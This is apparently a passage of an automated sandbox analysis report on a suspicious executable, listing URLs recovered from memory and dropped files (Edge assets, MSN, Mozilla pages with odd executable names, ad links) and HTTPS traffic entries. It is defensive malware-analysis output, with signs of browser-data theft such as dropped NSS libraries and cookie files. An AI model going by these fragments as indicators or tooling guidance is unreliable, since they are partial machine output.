Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: KJJJKFIIIJJJECAAEHDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376786785330955.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2623624462.0000000023501000.00000004.00000020.00020000.00000000.sdmp, KJJJKFIIIJJJECAAEHDB.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2356515331.00000000234AC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2586630909.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.instagram.com
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.last.fm/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.messenger.com
Source: EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/zvGHixWke.exe
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2587213039.0000000001047000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2587213039.0000000001047000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2484837330.000000002363C000.00000004.00000020.00020000.00000000.sdmp, EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ixWke.exeexe
Source: EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2484837330.000000002363C000.00000004.00000020.00020000.00000000.sdmp, EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2484837330.000000002363C000.00000004.00000020.00020000.00000000.sdmp, EHJDHJKFIECAAKFIJJKJKFHJKE.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: file.exe, 00000000.00000002.2587213039.0000000000F64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/iFrWsyNzvGHixWke.exe
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.office.com
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.tiktok.com/
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://www.youtube.com
Source: a9bc8b84-ab65-40c3-91f1-e7ef09e052dc.tmp.8.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
